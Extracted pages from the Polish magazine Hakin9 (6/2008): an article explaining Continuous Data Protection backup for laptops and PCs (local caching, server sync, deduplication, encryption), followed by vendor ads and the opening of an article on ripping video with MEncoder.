o najcenniejszym ludzkim zdrowiu. Jednak,
gdyby ten fragment przełożyć na realia naszych
czasów, można te słowa sparafrazować i
powiedzieć: O ważne dane, nikt się nie dowie,
ile dla nas znaczą, aż się utracą. Innymi
słowy, szczęśliwy jest ten, kto jeszcze nie
doznał uczucia, jakie odczuwamy w chwili, gdy
uświadomimy sobie, że właśnie z naszego
komputera zniknęła praca magisterska czy
semestralna, nie ma katalogu z danymi, które
skrzętnie gromadziliśmy przez kilka miesięcy
lub nawet lat.
Nawet nie chcemy sobie wyobrażać, że
zniknęły bezpowrotnie zdjęcia i filmy z naszych
najwspanialszych wakacji (podróży poślubnej),
ślubu czy innych wydarzeń rodzinnych, jak
pierwszy uśmiech naszego dziecka itp. To
wszystko niestety może się zdarzyć i to
nie komuś innemu, ale właśnie nam! Nam
– użytkownikom sprzętu komputerowego
– w domu i w pracy, zarówno na naszym
komputerze osobistym, jak i firmowym.
Zagrożeń, które mogą prowadzić do utraty
cennych dla nas danych, jest naprawdę
sporo. Począwszy od bardzo prozaicznych,
czyli kradzieży laptopa lub jego uszkodzenia
na skutek nie–ostrożnego obchodzenia się
(i niekoniecznie musi to być topienie laptopa
w wannie), przez uszkodzenie dysku w
MARIUSZ
KAPANOWSKI
Z ARTYKUŁU
DOWIESZ SIĘ
jak ważne są dane na naszych
komputerach,
czym grozi ich utrata,
artykuł szeroko podejmuje
tematykę zabezpieczania
danych przed ich utratą oraz
przedstawia obecnie stosowane
mechanizmy ochrony danych.
CO POWINIENEŚ
WIEDZIEĆ
znać ogólne zasady
posługiwania się komputerem
z systemem Windows,
posiadać ogólną wiedzę
o przechowywaniu danych
i działaniu dysków twardych.
laptopie (np. z powodu wady fabrycznej), na
zwyczajnym spaleniu się laptopa kończąc (np.
w samochodzie czy mieszkaniu, które również
spłonęło). Każdemu może się również zdarzyć,
że jego laptop wyląduje na twardej podłodze
i nie będzie nadawał się do użytku, a to już
prosta droga do utraty naszych drogocennych
danych.
Niektórzy oczywiście są zdania, że
wszystkie dane można odzyskać i nie jest
konieczne ich zabezpieczanie. Sytuacja jednak
się komplikuje, gdy nasz komputer zostanie
zagubiony lub skradziony. Wówczas nie mamy
z czego odzyskać danych. Znam również
przypadek, że upadek laptopa spowodował
zerwanie głowicy dysku twardego i porysowanie
talerzy tegoż dysku. Wówczas nawet najlepsza
firma zajmująca się odzyskiwaniem danych nie
była w stanie odtworzyć zawartości dysku. No
i użytkownik przeżył to, o czym była mowa na
samym początku niniejszego artykułu.
Jak uniknąć
problemu utraty danych?
W każdej dziedzinie należy pamiętać o bardzo
prostej zasadzie, że lepsza od leczenia jest
profilaktyka. Odnosząc to do tematu utraty
danych, trzeba wiedzieć, że dane zawsze
można zabezpieczyć przed ich utratą. W jaki
sposób? Zwyczajnie – kopiując je na inny dysk
lub komputer, czyli tworząc kopię zapasową
– backup danych.
Stopień trudności
Continuous
Data
Protection
Artykuł przedstawia tematykę ochrony danych na komputerach
osobistych pod kątem ich dostępności. Opisuje zagrożenia, które
mogą skutkować utratą naszych danych z laptopa bądź PC–ta
oraz proponuje rozwiązanie zapobiegawcze.
59
NAJLEPSZA OCHRONA DANYCH NA NASZYM PC
HAKIN9
6/2008
I teraz większość Czytelników
pomyślała – backup to zapewne
serwery, taśmy, drogie techniki zapisu
(napędy i biblioteki taśmowe) oraz
oprogramowanie do tworzenia kopii
zapasowych. To nie dla mnie. Lecz ja
chciałbym zaznaczyć, że stereotypowe
pojmowanie kwestii backupu nie jest
właściwe w przypadku ochrony danych
na komputerach osobistych. Pamiętajmy,
że tradycyjny backup dotyczył serwerów,
a my chcemy znaleźć właściwy sposób
na zabezpieczenie danych na naszym
PC – w firmie lub domu.
Backup w tradycyjnej formie
zazwyczaj jest wykonywany dla dużych
serwerów, gdzie są przechowywane
krytyczne dla firmy dane. I faktycznie
nadal do tego celu używane są
sprawdzone już techniki, czyli kopiowanie
danych na nośniki taśmowe. Taki backup
najczęściej wykonywany jest nocą,
gdy serwery nie są dociążone przez
użytkowników, a sieć przesyła niewielką
liczbę danych.
Godziny nocne dają również
możliwość zatrzymywania silników
baz danych, aby skopiować zawartość
tych baz. Jednak czy o taki backup
nam chodzi, kiedy myślimy o danych
przechowywanych na naszym laptopie?
Najczęściej śpi on w nocy razem z
nami. Nie jest na stałe podłączony do
sieci firmowej lub domowej, ponieważ
podróżujemy z nim niemalże codziennie.
Na naszym laptopie nie mamy też
baz danych, bo te aplikacje zazwyczaj
potrzebują dużo lepszych parametrów
sprzętowych niż te, w które nasz laptop
jest wyposażony.
Łatwo więc zauważyć, że tradycyjne
techniki backupu nie do końca nadają
się do kopiowania danych z naszego
laptopa czy domowego PC.
Wymarzony
program do backupu
A jaką funkcjonalność musiałby mieć
program do tworzenia kopii zapasowych,
abyśmy mogli spokojnie spać, nie
martwiąc się o nasze dane? Chyba
najważniejszą cechą jest to, aby kopiował
on wszystkie dane, jakie znalazły się na
naszym komputerze (chociażby przez
bardzo krótki moment). Wówczas mamy
pewność, że zawsze możemy odtworzyć
dane, które kiedykolwiek zagościły na
naszym PC. Drugą ważną kwestią jest,
aby nie martwić się o to, że np. w piątek
– po całym tygodniu pracy – musimy
wykonać jeszcze kopię zapasową.
Dodatkowo, gdy jesteśmy poza biurem i
nie mamy podłączenia do sieci firmowej,
nie przeniesiemy tych danych do
miejsca docelowego. A gdy pojawimy
się w pracy w poniedziałek, to będzie
tysiąc ważniejszych spraw na głowie
niż tworzenie zaległej kopii zapasowej z
piątku.
Oczywiście, nasz wymarzony program
musi też wiedzieć, co już mamy
skopiowane, a co jest nowego na
naszym komputerze i z czego należy
utworzyć kopię zapasową. Nie można też
zapominać, o różnych wersjach obiektu,
który backupujemy. Przykładowo plik
CDP.doc może zmieniać się na skutek
edycji przez użytkownika. W związku z
tym, dobry program do tworzenia kopii
zapasowych powinien zachowywać
każdą z wersji takiego pliku, aby w razie
potrzeby była możliwość odtworzenia
jakiejś złotej myśli sprzed kilku dni, którą
usunęliśmy podczas edycji w chwili
roztargnienia.
Kolejną istotną sprawą jest to,
aby backupy zajmowały jak najmniej
miejsca na jakimś zapasowym dysku
lub macierzy dyskowej w firmie. Nie jest
nam potrzebne kopiowanie tych samych
plików systemowych z np. 100 komputerów
w firmie, ponieważ są one identyczne
na każdym komputerze (zakładając, że
wszędzie zainstalowano ten sam system
operacyjny). Dodatkowo, tworzenie kopii
zapasowej ze śmiesznego filmu, który
znajduje się na większości lub wszystkich
komputerach użytkowników, też jest
trwonieniem zasobów. Dlatego w naszym
wymarzonym programie przydałby się jakiś
mechanizm bardziej inteligentny, który nie
powielałby kopii zapasowych tych samych
plików. Oczywiście są także pliki systemowe
specyficzne dla każdego hosta i należy je
chronić tworząc kopię zapasową. O tym
nasz program też powinien pamiętać.
Continuous Data Protection
– czyż nie tego nam trzeba?
Wychodząc naprzeciw oczekiwaniom
użytkowników komputerów osobistych,
tak w domowym zaciszu, jak i w firmach,
opracowano specyficzną technikę
ochrony danych, nazywaną CDP
– Continuous Data Protection, czyli
ochrona danych w sposób ciągły. Co to
takiego jest i jak to działa? Już spieszę
z wyjaśnieniem. Otóż Continuous Data
Protection w swym założeniu ma za
zadanie nieprzerwaną ochronę danych.
Ta ochrona danych jest oczywiście
w postaci tworzenia kopii zapasowych
– a ponieważ jest ona prowadzona w
sposób ciągły, oznacza to, że niejako w
czasie rzeczywistym potrafi backupować
zbiory danych. Jest to najważniejsza
i podstawowa cecha techniki CDP,
która pozwala na odzyskanie zbioru
zapisanego w dowolnym momencie w
przeszłości.
Czyż to nie jest to, o co nam
chodziło? Ważne jest również, że CDP nie
wymaga stałego przyłączenia do sieci i
komunikacji z serwerem zarządzającym
backupami, co znakomicie wpisuje się w
potrzeby stacji przenośnych – laptopów.
Aplikacja na naszym laptopie sama
czuwa nad kopiowaniem wszelkich
zbiorów z naszego komputera, które
zostały na nim zapisane (nawet na
sekundę). Należy też pamiętać, że
objętość danych na naszych laptopach
jest stosunkowo mała w porównaniu
do dużych serwerów produkcyjnych
w firmach. W związku z tym kopie
zapasowe nie są przerażająco duże
objętościowo. Stąd też te backupy
nie trafiają bezpośrednio na bardzo
pojemne taśmy magnetyczne, lecz
na dyski twarde – bądź to na naszym
komputerze, bądź na macierzy dyskowej
w firmowej serwerowni.
Nic nie stoi na przeszkodzie, aby
w końcu trafiły one na taśmę, lecz
może się to odbyć na dalszym etapie
ochrony danych. Ponadto, aby w pełni
zoptymalizować wykorzystywaną
przestrzeń dyskową, stosuje się również
mechanizm deduplikacji (Rysunek 1.), co
zapobiega przechowywaniu identycznych
zbiorów w ramach kopii zapasowych.
Np. aktualizacja do MS Windows nie
jest kopiowana 100 razy – z każdego
komputera w firmie. Wystarczy tylko
jedna kopia, a w przypadku większej
liczby wystąpień (przy kopiowaniu z
innych komputerów), tworzony jest
jedynie odnośnik do tego obiektu.
OBRONA
60
HAKIN9 6/2008
NAJLEPSZA OCHRONA DANYCH NA NASZYM PC
61
HAKIN9
6/2008
Tutaj należy jeszcze zauważyć,
że sama technika CDP jest częścią
składową, na której oparte są programy
do tworzenia kopii zapasowych.
Narzędzia takie zawierają również inne
funkcjonalności, które niekoniecznie
są związane z CDP. Przykładem takiej
funkcjonalności może być Disaster
Recovery, czyli możliwość szybkiego
odtwarzania systemu i danych po awarii.
Jest to bardzo pożądana funkcjonalność
i bardzo często bywa dołączana do
oprogramowania tworzącego kopie
zapasowe. Nie należy jednak łączyć tej
funkcjonalności z samą techniką CDP.
A jak działa to CDP
i oprogramowanie
na nim zbudowane?
Sama architektura jest stara jak
świat , bo to architektura klient–serwer.
Na stacjach końcowych – PC lub
laptopach – instalowani są tzw. klienci,
którzy lokalnie dbają o gromadzenie
i przesyłanie danych (wtedy, gdy
klient może połączyć się z serwerem
backupu). Sam serwer zarządza
procesem kopiowania danych ze stacji
klientów, bada ich dostępność w sieci
(czy są podłączone do sieci, czy też
nie) oraz tworzy bazę zawierającą
informacje na temat skopiowanych
danych. Sam proces tworzenia kopii
zapasowych składa się z dwóch
etapów. Jest to najpierw kopiowanie
danych na wydzielony obszar (tzw.
cache) na dysku lokalnym, a następnie
kopiowanie do miejsca docelowego
– którym najczęściej jest wolumen
na serwerze lub macierzy dyskowej.
Aby mogło nastąpić przeniesienie
danych z naszego laptopa bądź PC,
musi on mieć połączenie z serwerem
backupu. Warunek ten nie zawsze
jest spełniony (np. podczas podróży
służbowej mamy laptopa bez dostępu
do Internetu). Wówczas backup
danych jest wykonywany wyłącznie
lokalnie na wydzielony obszar dysku.
W momencie podłączenia laptopa do
sieci i skomunikowania się z serwerem
backupu nastąpi przeniesienie danych
na wolumen docelowy.
Niektóre dobre programy do
tworzenia kopii zapasowych mają
również możliwość określenia czasu, w
którym dane mogą być przesyłane ze
stacji klienta do serwera oraz wielkości
pasma, jaką może zająć ta transmisja.
Przykładowo przesyłanie danych na
serwer może odbywać się w godz.
od 12–tej do 14–tej, kiedy zazwyczaj
jesteśmy na obiedzie.
Możemy także określić, że pasmo
do wykorzystania na cele backupu ma
być nie większe niż np. 20%. Pozwala to
sprawić, że kopiowanie danych w tle nie
będzie przeszkadzać użytkownikowi w
kontekście zajętości zasobów sprzętowych
(dysk twardy, CPU, itp.) oraz sieciowych.
Komunikacja SO
z oprogramowaniem CDP
W momencie instalacji oprogramowania
korzystającego z CDP, bardzo
ściśle integruje się ono z systemem
operacyjnym. Od tej chwili żadna
operacja kopiowania (przenoszenia) czy
tworzenia obiektów nie może odbyć się
niezauważona przez oprogramowanie
backupowe. Każda z tych operacji jest
jednocześnie wykonywana zarówno
przez system operacyjny, jak i przez
CDP na lokalny zasób backupowy. Np.
kiedy chcemy założyć plik plik.doc, jest
on normalnie tworzony przez system
operacyjny oraz równolegle zapisany
przez CDP na wydzielonym obszarze
dysku tego komputera (tzw. cache). Jest
to pierwszy stopień zabezpieczenia
przed przypadkowym usunięciem
obiektu. Umożliwia to również śledzenie
ewentualnych kolejnych wersji pliku.
Ile wersji tego pliku zapiszemy,
tyle będziemy mieli plików w kopii
zapasowej. Np. tworząc dokument
tekstowy, co pewien czas dopisujemy
kolejny akapit (czasem poprawiając
te napisane wcześniej). Wówczas
przy każdym wprowadzeniu zmian i
zapisaniu dokumentu tworzy się kolejna
kopia zapasowa tego samego obiektu,
umożliwiająca jego odzyskanie z każdej
fazy jego tworzenia.
Co pewien okres czasu dane
z pamięci podręcznej (cache) są
przenoszone na serwer backupu.
Oczywiście jest to również
uzależnione od przyłączenia komputera
do sieci, przez którą ten może się
skomunikować z serwerem kopii
zapasowych. Jeżeli nasz komputer
jest stale podłączony do sieci i ma
komunikację z serwerem backupu,
wówczas nasze dane są kopiowane na
serwer niemalże w czasie rzeczywistym
(przy założeniu, że nie mamy ograniczeń
co do czasu przenoszenia danych na
serwer).
Praktyczne zastosowanie
CDP – porady i ostrzeżenia
Systemy zabezpieczania danych przed
ich utratą najczęściej wdrażane są w
firmach i przedsiębiorstwach. Wówczas
na dedykowanym serwerze z dostępem
do dużych zasobów dyskowych (macierz
Rysunek 1.
Działanie deduplikacji
Dane
idenyczne
jak na innych
Dane
idenyczne
jak na innych
Dane
idenyczne
jak na innych
Dane wystęujce tylko
na tym komputerze
Dane wystęujce tylko
na tym komputerze
Dane wystęujce tylko
na tym komputerze
Zaoszczędzone
miejsce
Dane wspólne
dla wszystkich
komputerów
Serwer
OBRONA
60
HAKIN9 6/2008
NAJLEPSZA OCHRONA DANYCH NA NASZYM PC
61
HAKIN9
6/2008
o pojemności rzędu TB) instalowany
jest serwer backupu. Na komputerach
pracowników instalowana jest aplikacja
klienta, w której ustalamy wymagane
parametry, jak np. maksymalne pasmo
dla danych przenoszonych na serwer
backupu. Podczas instalacji klienta,
określamy również katalog, w którym
będą przechowywane lokalne kopie
danych. Jeżeli instalacja dotyczy
komputera stacjonarnego, wybór
tego katalogu nie jest zbyt istotny.
W przypadku laptopa ma on wręcz
decydujące znaczenie. Jeżeli bowiem
będzie on znajdował się na partycji
o małej pojemności, wówczas, w
przypadku dłuższego braku połączenia z
serwerem backupu, szybko zapełni się i
może się zdarzyć, że dla naszych danych
nie będą tworzone kopie zapasowe
nawet na dysku lokalnym. A to może
doprowadzić do trwałej utraty danych,
czemu chcemy zapobiec instalując
opisywane oprogramowanie. Zaleca się
również, aby komputery przenośne były
w miarę regularnie podłączane do sieci,
przez którą mogą się komunikować z
serwerem backupu.
Szczególną ostrożność powinny
zachować osoby, które często wyjeżdżają i
przebywają poza firmą, ponieważ skutkuje
to szybkim przyrastaniem danych w
lokalnym cache’u na dysku twardym.
Natomiast gdy nasze dane znajdują się już
w bezpiecznym miejscu (tzn. na serwerze
backupu), możemy je kopiować na nośniki
taśmowe za pomocą oprogramowania
do tradycyjnego backupu. Zwiększa to
bezpieczeństwo naszych danych oraz
zwalnia przestrzeń dyskową na macierzy.
Trochę inaczej problem wygląda w
przypadku pojedynczych komputerów
domowych. Zazwyczaj nie mamy
w domu żadnego serwera z dużą
macierzą dyskową. Jak wtedy robić
kopie zapasowe naszych – nieraz
bezcennych – danych? Niestety, nie da
się przeskoczyć pewnych ograniczeń
fizycznych i np. rozciągnąć dysku
twardego.
W takim przypadku najlepiej
zaopatrzyć się w dodatkowy dysk twardy,
na którym będziemy przechowywać
nasze kopie zapasowe. Jeżeli jest
to laptop, wydaje się, że najlepszym
rozwiązaniem jest dysk ze złączem
USB. Nie będzie to zbyt uciążliwe dla
użytkownika laptopa, bo ten może co
pewien czas podłączać napęd do
komputera i kopiować dane. Wydatek
związany z zakupem takiego dysku jest
rzędu kilkuset złotych za dysk 200 GB.
Taka pojemność powinna zaspokoić
nasze potrzeby, a koszty nie są aż tak
bardzo wysokie. Oczywiście na takim
pojedynczym komputerze musimy
zainstalować aplikację jako serwer
backupu i jako miejsce docelowe
przechowywania kopii zapasowych
wskazać wspominany wcześniej dysk, np.
wspomniany napęd z interfejsem USB.
Należy pamiętać, że przy pierwszym
backupie będzie tworzona kopia
zapasowa wszystkich danych z naszego
komputera. Stąd też zalecane jest, aby
pierwsze wykonywanie kopii zapasowej
było robione zawsze przy pełnej
komunikacji klienta z serwerem backupu.
Rekomenduje się, żeby przy pierwszym
uruchomieniu klient lokalny skopiował
całą zawartość naszego komputera,
lecz nie do zasobu lokalnego, ale na
serwer backupu (miejsce docelowe). W
celu spełnienia tego warunku nie należy
odłączać naszego komputera od sieci
np. w firmie. Dopiero po zakończeniu tej
operacji kolejne backupy będą kopiami
przyrostowymi. Oznacza to, że będą
wykonywać się kopie zapasowe tylko
tych obiektów, które powstały lub zmieniły
się od czasu ostatniego backupu. Jest
to tzw. backup incremental for ever,
czyli wieczny backup przyrostowy. Takie
backupy możemy bez obaw wykonywać
do lokalnego cache’u.
Należy jeszcze wspomnieć o czasie
przechowywania kopii zapasowych.
Czasy te definiujemy w zależności od
potrzeb użytkownika. Dodatkowo, w
większości programów opartych na
CDP czasy te są ustawiane na kilku
poziomach – określamy, jak długo
dane mają być przechowywane na
serwerze backupu, ile maksymalnie
wersji określonego pliku chcemy
przechowywać, którego dnia chcemy
sprawdzać wygaśnięcie ważności
obiektów itp. Muszę stwierdzić, że
mechanizmy związane z zarządzaniem
czasem przechowywania kopii
zapasowych są w przypadku techniki
CDP mocno rozbudowane, a ich zgrubny
opis zająłby kolejne kilka stron.
Ważną kwestią jest również,
aby nasze kopie zapasowe nie były
dostępne dla innych, niepowołanych
osób. W związku z tym, programy
oparte na technice CDP oferują
Rysunek 2.
CDP i zwykły backup
����������������������
������������������������
�����������������������
������������������������
������������������������������
��������������������������
���������������������������������������������������������������������������������������������
������������������������������������
OBRONA
62
HAKIN9 6/2008
zabezpieczenia kopii zapasowych
przed nieautoryzowanym dostępem.
Dane skopiowane na serwer
backupu są zabezpieczone na dwóch
poziomach: hasło dostępu przy próbie
odtworzenia oraz zaszyfrowanie danych
przechowywanych na wolumenie.
Dane są szyfrowane również
w trakcie transmisji do i z serwera
backupu, aby nikt niepowołany ich nie
przechwycił. Szyfrowanie to odbywa się
za pomocą Microsoft Base or Enhanced
Cryptographic Provider, który używa
metody RC4. Dzięki temu możliwe jest
40–bitowe oraz 128–bitowe szyfrowanie
przesyłanych danych.
Hasło ogranicza możliwość
odtworzenia naszych tajnych danych
np. przez kolegę z pracy na jego
komputerze. Do tego konieczne jest
hasło, które znamy tylko my. Ponadto
dane składowane np. na macierzy
są zaszyfrowane. Zabezpiecza to nas
przed dostępem do danych choćby
przez administratora systemu backupu,
który ma dostęp do wolumenu
dyskowego na serwerze. Mimo, że
może on przekopiować nasze dane,
nie może ich odczytać bez hasła
deszyfrującego. Metody szyfrowania
danych składowanych na wolumenach
docelowych są identyczne z opisanymi
wcześniej przy okazji szyfrowania w
trakcie transmisji danych.
Programy korzystające z techniki
CDP najczęściej oferują możliwość
tworzenia obrazów naszego systemu
na płytach CD/DVD. Po awarii naszego
systemu, czy nawet całego komputera,
możemy odtworzyć jego konfigurację
wraz z danymi. Możemy te dane
odzyskać na tym samym lub innym
komputerze. Stwarza to dodatkowe
niebezpieczeństwo dla danych – mogą
one trafić w niepowołane ręce. Stąd
też obrazy tych systemów również są
zabezpieczane hasłem. Na skutek
tego konieczne jest podanie hasła
podczas procesu odtwarzania systemu
(Disaster Recovery) z płyty CD/DVD na
docelowym komputerze. Dodatkowym
zabezpieczeniem jest zaszyfrowanie
obrazu systemu, który przechowujemy na
serwerze backupu.
Szyfrowanie to jest wykonywane
za pomocą algorytmu AES (Advanced
Encryption Standard) ze 128–bitowym
kluczem.
Należy tu jeszcze wspomnieć, że
dane przechowywane w lokalnym
cache’u zazwyczaj nie są objęte
dodatkowymi zabezpieczeniami przed
dostępem osób niepowołanych.
Producenci oprogramowania zakładają,
że jeżeli ktoś niepowołany będzie miał
dostęp do naszego dysku twardego,
to ważne dane wykradnie kopiując je
bezpośrednio z lokalizacji pierwotnej, a
nie z kopii zapasowej.
Oczywiście przy przesyłaniu
danych ze stacji klienta do serwera
backup’u, dane są szyfrowane przed
ich nadaniem. Zabezpiecza to nas
przed nieautoryzowanym dostępem do
naszych danych za pośrednictwem sieci
LAN (VPN).
Przypadki utraty danych
i sposoby, na jakie
możemy je odzyskać
Tak, jak było to powiedziane na samym
początku niniejszego artykułu, mogą nas
spotkać różne przypadki losowe, które
w swoich skutkach niosą utratę cennych
dla nas danych.
Najprostszym takim przykładem
jest przypadkowe usunięcie pliku lub
katalogu z naszego komputera. Jeżeli
mamy zainstalowane oprogramowanie
do tworzenia kopii zapasowych z techniką
CDP, to nic się wielkiego nie stało.
Sięgamy do Menadżera odzyskiwania
i odtwarzamy usunięty plik, czy to z
lokalnego cache’u, czy z serwera (przy
tym konieczne jest podłączenie do sieci,
aby skomunikować się z serwerem
backupu). Przy odtwarzaniu możemy
wybrać wersję utraconego pliku i
umieścić go w żądanym miejscu.
Podobnie postępuje się w przypadku
uszkodzenia jakiegoś pliku np. przez
wirusa.
Więcej trudności nastręcza
uszkodzenie dysku twardego. Wówczas
krytyczną kwestią jest czas, w którym
wykonywano ostatni backup do
lokalizacji docelowej, czyli do serwera
backupu. Ważne jest to dlatego, że po
wymianie dysku na nowy, dane będą
odtwarzane nie z lokalnego zasobu,
lecz właśnie z serwera backupu. W tym
przypadku dane odzyskamy do stanu
sprzed ostatniego backupu wykonanego
do lokalizacji docelowej. Dlatego tak
ważnym jest częste i regularne tworzenie
kopii zapasowej na serwerze backupu.
To ona de facto w pełni zabezpiecza nas
przed utratą danych.
Największym wyzwaniem dla nas
jest przypadek uszkodzenia naszego
laptopa (albo PC) lub jego kradzież czy
zaginięcie. Wówczas jedynym ratunkiem
są dane zgromadzone na serwerze
backupu.
To jest właśnie sytuacja, gdzie
należy zastosować procedurę Disaster
Recovery, czyli odtwarzanie systemu
i danych po awarii. Najczęściej w
takim przypadku tworzymy za pomocą
serwera backupu płytę CD/DVD z
obrazem systemu. Uzyskujemy go z
danych zgromadzonych na serwerze
backupu. Jest wówczas możliwe pełne
odtworzenie naszego systemu na
nowym PC lub laptopie wraz z danymi. W
tym przypadku również odtworzymy dane
do stanu sprzed ostatniego backupu
na serwer. Mimo, że będzie to stan np. z
dnia poprzedniego (lub sprzed tygodnia),
jest to znacznie lepsza sytuacja niż
całkowita utrata danych.
Podsumowanie
Odpowiedzią na to pytanie jest inne:
a czy możemy pozwolić sobie na
utratę naszych danych? Jeżeli na
komputerach mamy bezcenne dla nas
dane, to zapewne warto zainwestować w
oprogramowanie z CDP. Technika ta jest
obecnie najbardziej zaawansowaną z
technik stosowanych do zabezpieczania
danych na komputerach osobistych.
W niniejszym artykule przedstawiłem,
jakie są największe zalety techniki CDP
(czyli tworzenia kopii zapasowych w
czasie rzeczywistym). To daje nam
możliwość odzyskania każdego obiektu z
dowolnego momentu w przeszłości. Czy
to nie jest to, co pozwoli nam spokojnie
spać – bez obawy o ewentualną utratę
danych? Czy potrzeba nam jeszcze
lepszej ochrony?
Mariusz Kapanowski
Inżynier ds. pamięci masowych w firmie S4E SA. Od
prawie 3 lat zajmuje się systemami pamięci masowych i
kopiami zapasowymi serwerów i komputerów osobistych.
Interesuje się nowinkami technicznymi, historią i
zjawiskami paranormalnymi.
Kontakt z autorem: mariusz.kapanowski@s4e.pl
Prenumerata Pro
Media
Systems
Firma Media Systems oferuje Państwu
usługi oparte o rozwiązania systemu
CashBill.pl i są to: organizacja kam-
panii marketingowych opartych o kon-
kursy SMS’owe, organizacja kampanii
reklamowych serwisów internetowych,
system płatności elektronicznych po-
przez karty płatnicze i przelewy. Prócz
wymienionych usług oferujemy także
budowę stron www, sprzedaż domen
oraz pozycjonowanie w wyszukiwar-
kach. Zapraszamy do współpracy.
TTS Company Sp. z o.o.
Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na za-
mówienie. W ofercie programy autor-
stwa ponad dwustu firm z całego świa-
ta. Chcesz kupić oprogramowanie i nie
możesz znaleźć polskiego dostawcy?
Skontaktuj się z nami – sprowadzimy
nawet pojedyncze licencje.
www.OprogramowanieKomputerowe.pl
CCNS
Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.
www.ccns.pl
Petrosoft
Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezenta-
cji multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsorcin-
gowe dla dużych firm z zakresu infor-
matyki i telekomunikacji. Oprogramo-
wanie na zamówienia. Dostawa serwe-
rów, sprzętu, oprogramowania.
38-200 Jasło, ul. 3 Maja 101
Biuro: (13) 44 66 666
biuro@petrosoft.pl
kontakt do nas:
katarzyna.juszczynska@software.com.pl,
robert.gontarski@software.com.pl
tel.: 22 427 36 77
Enigma SOI
Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.
• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie
na serwerach i stacjach klienckich
• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki
www.enigma.com.pl
Kei.pl
Kei.pl działa na rynku usług hostingo-
wych od 2000 roku. Do naszych za-
dowolonych Klientów z dumą możemy
zaliczyć wiele przedsiębiorstw sektora
MSP, instytucji oraz osób prywatnych.
W ofercie Kei.pl znajdują się pakiety ho-
stingowe, a także usługi dla wymagają-
cych Użytkowników – platformy
e-Biz-
nes oraz serwery fizyczne.
http://www.kei.pl
Sokra-NET
Działa od roku 2002, specjalizuje się
w szeroko pojętym bezpieczeństwie in-
formacji. Posiada wykwalifikowany spe-
cjalnie do tych celów zespół inżynierów
którzy przy współpracy z naszymi klien-
tami maksymalizują bezpieczeństwo
danych, audytując i dobezpieczając.
Wykonujemy testy penetracyjne, ana-
lizy kodów źródłowych, testy wydajno-
ściowe aplikacji i ich środowisk telein-
formatycznych. Wdrażamy polityki bez-
pieczeństwa. Wspomagamy naszych
partnerów merytorycznie.
www.sokra.net
64
OBRONA
HAKIN9 6/2008
N
a początku ustalmy pewne fakty.
Kodowanie lub przetwarzanie materiału
wideo z jednego formatu na inny tak
naprawdę rozpoczyna się od wyboru trzech
parametrów: kodeka wideo, kodeka audio
oraz kontenera. Czym są tzw. kodeki, każdy
pewnie wie. Czym jest zatem kontener? Można
powiedzieć, że jest to format pliku, jednak
mówiąc najbardziej ogólnie – kontener to
opakowanie zawierające materiał audio i
wideo. Zastanówmy się zatem, za pomocą
jakich kodeków będziemy kodować oraz jaki
format pliku chcemy uzyskać.
Najpopularniejsze formaty plików to
oczywiście: AVI, MPEG oraz Ogg (zapis
nazwy jako OGG jest błędny). Należy jednak
wspomnieć jeszcze, że MEncoder obsługuje
formaty plików dostępne w pakiecie
libavformat. Są to między innymi: mpg, avi, asv,
wav, swf, flv, rm, au, nut , mov, mp4 i dv. Trudno
byłoby jednogłośnie rozstrzygnąć, który z
wymienionych powyżej formatów jest najlepszy.
Takie pojęcie jak najlepszy chyba nie jest
zresztą adekwatne dla żadnego z nich. Każdy
ma swoje plusy oraz minusy.
Weźmy na pierwszy ogień AVI (ang. Audio
Video Interleave). Bardzo istotną rzeczą, o
której należy wspomnieć, jest fakt, że program
MEncoder został napisany właśnie z myślą o
tym formacie. Wprowadziła go w 1992 roku
firma Microsoft. Kodowanie w tym formacie
ma jedną, niezaprzeczalną zaletę – daje
ŁUKASZ CIESIELSKI
gwarancję, że plik zostanie odtworzony na
każdym stacjonarnym odtwarzaczu DVD.
Jeżeli film będzie oglądany na odtwarzaczu
stacjonarnym, to świetnym rozwiązaniem jest
również MPEG (ang. Moving Picture Experts
Group), ponieważ każdy tego typu odtwarzacz
bez problemu odczyta taki plik.
Aktualnie jednak ten format zdecydowanie
ustąpił pola AVI. Doskonale wiedzą to ci, którzy
pobierają lub udostępniają materiały filmowe
w Sieci.
Z myślą o miłośnikach wolnego
oprogramowania powstał kontener Ogg.
Został on stworzony przez fundację Xiph.org.
Podobnie jak powyższe formaty, daje
możliwość wykorzystania kodeków XviD oraz
MP3. Wystarczy jednak, że MP3 zamienimy
na wolny od opłat kodek dźwięku Vorbis i
uzyskamy materiał filmowy całkowicie zgodny z
ideą wolnego oprogramowania. Wartym uwagi
jest także wspomniany pakiet libavformat. To
właśnie dzięki niemu możemy tworzyć takie
pliki jak: flv, mp4 czy mov.
Dostępne w naszym systemie kontenery
możemy sprawdzić poleceniem
mencoder -of
help
. Problem polega na tym, że aplikacja ta
została stworzona z myślą o kontenerze AVI, więc
obsługa wszystkich innych ma charakter bardziej
eksperymentalny niż stabilny. Dlatego też zaleca
się stosowanie właśnie AVI. Pragnę jednak
zaprezentować, jak można stworzyć (a właściwie
spróbować stworzyć, bo nikt nie gwarantuje,
Stopień trudności
MEncoder
– vademecum
ripowania
Każdy zabierający się do czytania tego artykułu zapewne wie,
czym jest MEncoder. Wspomnę jedynie, że wchodzi on w skład
pakietu odtwarzacza multimedialnego – MPlayer. Możliwości
MEncodera są ogromne. Właściwie można nim przekonwertować
każdy materiał wideo z jednego formatu na inny.
Z ARTYKUŁU
DOWIESZ SIĘ
jak stworzyć kopię zapasową
płyty DVD,
w jaki sposób dokonac
konwersji materiau audio i wideo
na inny format,
jak dodać napisy do materiału
filmowego.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawowe polecenia
konsolowe (cd, cp, mv itp.),
znać cechy wybranych kodeków
audio i wideo (xvid, mp3 itp.).
65
